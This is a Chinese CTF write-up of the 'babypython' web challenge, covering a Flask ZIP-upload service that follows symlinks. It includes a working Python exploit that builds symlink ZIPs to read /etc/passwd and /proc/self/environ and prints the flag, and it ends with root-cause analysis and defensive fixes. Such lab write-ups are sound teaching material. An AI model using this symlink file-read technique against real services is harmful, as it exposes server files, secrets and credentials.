当前位置: 首页 > news >正文

CTF Write-up: babypython 国赛总决赛

题目名称

babypython

题目类型

Web / File Upload

赛事来源

CISCN 2021 国赛总决赛(DASCTF复现)

题目环境

根据项目生成

解题日期

2026-06-09

1. 题目描述(Challenge Description)

题目给出一个Web页面,包含文件上传功能。页面提示 "I will tell you a secret, but you should become admin first." (我会告诉你一个秘密,但你需要先成为管理员)。页面只接受 ZIP 格式的文件上传,要求利用文件上传漏洞获取 Flag。

2. 信息收集与漏洞分析(Reconnaissance & Analysis)

2.1 初步探测

访问主页,观察到以下特征:

  • • 页面框架:Flask + uWSGI + Nginx(从响应头 Server: openresty 判断)
  • • Session Cookie:标准 Flask signed cookie(需要 SECRET_KEY 伪造)
  • • 文件上传:仅接受 .zip 扩展名文件

2.2 上传功能测试

上传一个普通的 ZIP 文件(内含 test.txt),服务器解压并回显文件内容。考虑到 ZIP 格式支持符号链接(Symbolic Link),如果后端没有安全处理 symlink,则可以通过 ZIP 内的符号链接读取服务器任意文件。

3. 漏洞利用(Exploitation)

3.1 ZIP 符号链接文件读取(核心漏洞)

利用 Python 的 zipfile 模块构造包含符号链接的 ZIP 文件:

import zipfile, io

def make_zip_with_symlink(target_path, link_name):
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
info = zipfile.ZipInfo(link_name)
info.create_system = 3 # 标记为 Unix 系统
info.external_attr = 0xA1ED0000 # 符号链接权限标记
z.writestr(info, target_path) # 链接目标
return buf.getvalue()

关键参数说明:create_system = 3 表示此文件在 Unix 系统上创建;external_attr = 0xA1ED0000 表示这是一个符号链接(symlink)。后端解压时如果未过滤符号链接,会跟随链接读取目标文件内容。

3.2 关键文件读取

通过上述 Payload 读取以下关键信息:

文件路径

读取到的关键信息

/etc/passwd

确认是 Linux 系统,存在 root/daemon 等标准账户

/app/y0u_found_it/secret.py

secret = os.getenv("FLAG") — 确认 Flag 存储于环境变量

/app/uwsgi.ini

module = main / callable = app — Flask 应用入口配置

/proc/self/environ

★★★ 直接暴露 FLAG 环境变量!

3.3 最终 EXP 脚本

import requests, zipfile, io, random, string

BASE = "http://c6e676cda79b23935b939fc7.http-ctf2.dasctf.com"

def make_zip_with_symlink(target):
linkname = ''.join(random.choices(string.ascii_lowercase, k=10))
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as z:
info = zipfile.ZipInfo(linkname)
info.create_system = 3
info.external_attr = 0xA1ED0000
z.writestr(info, target)
return buf.getvalue()

def read_file(target):
s = requests.Session()
s.get(BASE + "/")
zipdata = make_zip_with_symlink(target)
fname = ''.join(random.choices(string.ascii_lowercase, k=8)) + '.zip'
files = {'the_file': (fname, zipdata, 'application/zip')}
r = s.post(BASE + "/upload", files=files, data={'submit': 'Submit'})
return r.text

# ★ 读取进程环境变量获取 FLAG
environ = read_file("/proc/self/environ")
for kv in environ.split('\x00'):
if kv.startswith('FLAG='):
print("[+] FLAG FOUND:", kv[5:])
break

4. Flag

DASCTF{10a6cf72-f22b-4f10-bcde-255c38a5c402}

5. 漏洞根因分析(Vulnerability Root Cause)

题目应用的文件上传/解压流程中,未对 ZIP 压缩包内的符号链接条目进行校验与过滤。典型缺陷代码如下(示意):

# 缺陷代码(示意)
with zipfile.ZipFile(uploaded_file, 'r') as z:
for name in z.namelist():
content = z.read(name) # ⚠️ 如果 name 是符号链接,此处会解析目标文件
print(content) # 直接输出目标文件内容

修复方案:解压前需校验每个 ZIP 条目是否为符号链接,并拒绝之;同时限制解压路径不得超出工作目录。

6. 解题流程总结(Solution Summary)

Step 1 —上传普通 ZIP 确认功能正常,观察回显为文件内容。
Step 2 —构造包含指向 /etc/passwd 符号链接的 ZIP,确认存在任意文件读取。
Step 3 —读取 /app/y0u_found_it/secret.py,发现 secret = os.getenv("FLAG"),定位 Flag 来源。
Step 4 —读取 /proc/self/environ(或 /proc/1/environ),在环境变量中直接获得 FLAG。
Step 5 —验证 Flag 格式为 DASCTF{...},提交成功。

7. 经验总结与防御建议(Lessons Learned & Defense)

7.1 CTF 做题技巧

  • • ZIP 上传永远优先测试符号链接(symlink)与路径穿越(zip slip)
  • • Linux 系统下 /proc/self/environ 是获取环境变量的首选路径
  • • Flask 的 SECRET_KEY 如由 random.seed(MAC) 生成,可通过读取网卡 MAC 反推密钥
  • • 同类题目参考:HCTF 2018 Hide and seek、CISCN 2019 Web4

7.2 开发侧防御

  • • 解压 ZIP 时必须校验 ZipInfo 是否为符号链接(external_attr & 0xFF00)
  • • 严格限制解压后文件所在目录(chroot 或绝对路径校验)
  • • 敏感信息(如 Flag、密钥)不要以环境变量或明文形式存放在应用进程可访问位置
  • • Flask SECRET_KEY 应使用 secrets.token_hex(32) 等密码学安全函数生成

8. 参考资料(References)

  • [1] HCTF 2018 Hide and seek Write-up(ZIP symlink 经典题)
  • [2] CISCN 2021 总决赛 babypython 官方 Write-up
  • [3] Python zipfile 文档 — ZipInfo / external_attr 字段说明
  • [4] proc(5) man page — /proc/[pid]/environ 环境变量文件
http://www.rkmt.cn/news/1497940.html

相关文章:

  • 第12章:模型评估与错误分析
  • 云尖信息与雷神科技达成战略合作,携手共筑国产算力新生态
  • 2026年聚合物界面砂浆厂家推荐:重庆百耀建材有限公司,聚合物水泥砂浆/聚合物粘结砂浆/聚合物修补砂浆/高强聚合物砂浆企业精选 - 品牌推荐官
  • 海康车辆控制请求流程说明 - sessionLogin形式
  • DELL IDRAC CLI命令查RAID与硬盘信息
  • 计算机毕业设计之django基于Python的书店ERP系统的设计与实现
  • 软考论文批改服务怎么选?模板与精批的核心区别
  • 2026硬质合金厂家推荐深度测评:如何为精密模具匹配最佳方案? - 热点速览
  • C13/C19怎么选?服务器电源线电流与接口选型技巧
  • 政策东风已至,服装行业如何抓住智能化转型的‘黄金窗口‘?
  • 别再裸奔用 Claude Code 了!这 10 个神仙 Skills 才是企业级提效的终极形态
  • 【Python】保姆级新手教程------第 11 章 迭代器 vs 生成器
  • 2026年靠谱护墙板工厂挑选指南
  • 2026 工业水处理设备TOP5品牌梳理 覆盖多领域工程落地应用参考指南 - 深度智识库
  • 国家级!工信部+国资委联合出手:人形机器人万台级落地,具身智能进入“作业模式“
  • 双减背景下本土 K12 教培生存研究 —— 以周浦圣杰教育本地化教研为例
  • 马斯克都在看的重庆东站,这5个机位,拍完根本走不动路 - 资讯焦点
  • FP5207/FP7208 在单节电池升压 12V 30W 大功率升压芯片选型区别
  • 翡翠镶嵌靠谱定制服务商推荐选择评测 - 奔跑123
  • 2026四平防水补漏哪家靠谱?正规公司排名及避坑价格指南 - 苏易修缮
  • 2026怒江权威认证贵金属回收 TOP5+黄金回收白银回收铂金回收门店地址电话推荐
  • 京东淘宝618红包最新领取口令放出,京东plus会员1888元超级补贴及满减活动攻略!618怎么叠加国补? - 资讯焦点
  • 小区地下停车场地坪工程品牌选型核心参考指南 - 奔跑123
  • git 拉取项目(mac)
  • 2026年AI大模型接口调度服务全维度技术横评:主流聚合平台能力拆解与成本测算指南
  • 食品饮料洁净生产线|无析出PPH全套管路板材,守护食品流体输送安全 - 苏一塑业13914572689
  • 在线投票小程序制作 | 微信投票怎么弄?2026免费投票小程序推荐(附防刷对比) - 微信投票小程序
  • Antonio Gulli《智能体设计模式》深度解析:21个Agent架构模式,告别Prompt技巧,掌握系统设计精髓!
  • python实现职场反pua评估
  • 医药GMP车间地坪如何满足洁净度要求?水性聚氨酯无缝地坪方案——港珠澳大桥人工岛地坪施工商 - 热点速览